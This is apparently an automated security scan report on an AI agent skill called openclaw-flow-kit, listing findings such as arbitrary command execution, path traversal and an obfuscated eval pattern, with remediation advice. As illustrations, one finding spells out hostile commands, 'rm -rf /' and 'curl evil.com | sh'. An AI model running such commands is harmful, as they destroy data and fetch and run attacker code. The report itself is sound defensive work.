Trust Assessment
openclaw-flow-kit received a trust score of 10/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 12 findings: 4 critical, 7 high, 1 medium, and 0 low severity. Key findings include Arbitrary command execution, Unsafe deserialization / dynamic eval, Dangerous call: subprocess.run().
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The Manifest Analysis layer scored lowest at 3/100, indicating areas for improvement.
Last analyzed on February 12, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings12
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Arbitrary command execution Python shell execution (os.system, subprocess) Review all shell execution calls. Ensure commands are static (not built from user input), use absolute paths, and are strictly necessary. Prefer library APIs over shell commands. | Manifest | skills/deepseekoracle/openclaw-flow-kit/scripts/release_conductor.py:59 | |
| CRITICAL | Arbitrary command execution Python shell execution (os.system, subprocess) Review all shell execution calls. Ensure commands are static (not built from user input), use absolute paths, and are strictly necessary. Prefer library APIs over shell commands. | Manifest | skills/deepseekoracle/openclaw-flow-kit/scripts/release_conductor.py:83 | |
| CRITICAL | Arbitrary command execution Python shell execution (os.system, subprocess) Review all shell execution calls. Ensure commands are static (not built from user input), use absolute paths, and are strictly necessary. Prefer library APIs over shell commands. | Manifest | skills/deepseekoracle/openclaw-flow-kit/scripts/run_envelope.py:47 | |
| CRITICAL | Arbitrary command execution via `subprocess.run` The `run_envelope.py` script is designed to execute arbitrary commands provided as arguments (`args.cmd`). While `shell=False` is used, this capability allows any program on the system to be executed with any arguments. If a malicious agent or user provides a harmful command (e.g., `rm -rf /`, `curl evil.com | sh`), it can lead to severe system compromise, data loss, or exfiltration. This is a powerful and inherently dangerous capability that requires extreme caution from the calling agent. This is the intended functionality of the skill. The remediation is primarily at the agent level: 1. **Strict Input Validation**: The agent calling this skill must rigorously validate and sanitize any user-provided input that forms the command to be executed. 2. **Least Privilege**: Run the agent and its skills with the absolute minimum necessary permissions. 3. **Sandboxing**: Execute this skill within a tightly controlled sandbox environment that limits its access to the filesystem, network, and other system resources. 4. **Auditing**: Log all commands executed by this skill for auditing purposes. | LLM | scripts/run_envelope.py:33 | |
| HIGH | Dangerous call: subprocess.run() Call to 'subprocess.run()' detected in function 'cmd_publish'. This can execute arbitrary code. Avoid using dangerous functions like exec/eval/os.system. Use safer alternatives. | Static | skills/deepseekoracle/openclaw-flow-kit/scripts/release_conductor.py:83 | |
| HIGH | Dangerous call: subprocess.run() Call to 'subprocess.run()' detected in function 'cmd_prepare'. This can execute arbitrary code. Avoid using dangerous functions like exec/eval/os.system. Use safer alternatives. | Static | skills/deepseekoracle/openclaw-flow-kit/scripts/release_conductor.py:59 | |
| HIGH | Dangerous call: subprocess.run() Call to 'subprocess.run()' detected in function 'main'. This can execute arbitrary code. Avoid using dangerous functions like exec/eval/os.system. Use safer alternatives. | Static | skills/deepseekoracle/openclaw-flow-kit/scripts/run_envelope.py:47 | |
| HIGH | Dynamic import from local workspace path The script dynamically adds a local workspace path (`skills/moltx-streamliner/scripts`) to `sys.path` and imports `moltx_client`. This creates a supply chain risk. If the `moltx-streamliner` skill in the workspace is compromised or replaced with a malicious version, this script will execute the malicious code, bypassing standard package management security checks. Avoid dynamic imports from unverified local paths. If `moltx_client` is a dependency, it should be installed via a secure package manager (e.g., `pip install moltx-streamliner`) and imported directly, or its code should be vendored and reviewed within this skill package. Ensure the `moltx-streamliner` skill is trusted and its integrity is verified. | LLM | scripts/moltx_engage_gate.py:30 | |
| HIGH | User-controlled arguments passed to external command The `cmd_publish` function executes the `clawdhub publish` command using `subprocess.run`. Several arguments (`skill_folder`, `slug`, `name`, `version`, `changelog`) are taken directly from user input (command-line arguments to `release_conductor.py`). Although `shell=False` is used, a malicious user could craft these arguments to exploit vulnerabilities in `clawdhub`'s argument parsing or to inject additional commands if `clawdhub` itself is not robust against such inputs. Implement strict validation and sanitization for all user-provided arguments before passing them to external commands. Consider using a wrapper function for `clawdhub` that explicitly defines and validates each argument, or escaping arguments if `clawdhub` is known to be vulnerable to argument injection. | LLM | scripts/release_conductor.py:70 | |
| HIGH | Path traversal vulnerability in draft file creation The `cmd_draft` function uses the user-controlled `slug` argument directly in the filename when writing draft text files (e.g., `f"{slug}_moltx.txt"`). A malicious user could provide a `slug` containing path traversal sequences (e.g., `../`) to write files to arbitrary locations on the filesystem, potentially overwriting critical system files or exfiltrating data by writing to publicly accessible directories. Sanitize the `slug` argument to remove or disallow path traversal characters (e.g., `/`, `\`, `..`). Ensure that only valid, safe characters are allowed for filenames. A simple approach is to use `Path(slug).name` to extract only the filename part, or to validate with a regex. | LLM | scripts/release_conductor.py:90 | |
| HIGH | Command output captured and returned in JSON The `run_envelope.py` script captures the `stdout` and `stderr` of the executed arbitrary command and includes them in its JSON output. If a malicious command is executed (via the arbitrary command execution vulnerability), it could be instructed to print sensitive information (e.g., environment variables, file contents, credentials) to `stdout` or `stderr`. This information would then be captured by the skill and returned to the calling agent, facilitating data exfiltration. This is a consequence of the skill's core functionality (wrapping command output). Remediation is tied to preventing malicious command execution: 1. **Prevent Command Injection**: Implement the remediations for SS-CMD-002 to prevent malicious commands from being executed. 2. **Output Sanitization (if applicable)**: If specific sensitive patterns are known, the skill could attempt to redact them from `stdout`/`stderr` before returning, though this is difficult to do comprehensively and reliably. 3. **Least Privilege/Sandboxing**: Limit what commands can be run and what data they can access or output. | LLM | scripts/run_envelope.py:39 | |
| MEDIUM | Unsafe deserialization / dynamic eval Decryption followed by code execution Remove obfuscated code execution patterns. Legitimate code does not need base64-encoded payloads executed via eval, encrypted-then-executed blobs, or dynamic attribute resolution to call system functions. | Manifest | skills/deepseekoracle/openclaw-flow-kit/scripts/run_envelope.py:7 |
Scan History
Embed Code
[](https://skillshield.io/report/17b3a35fe04e9a33)
Powered by SkillShield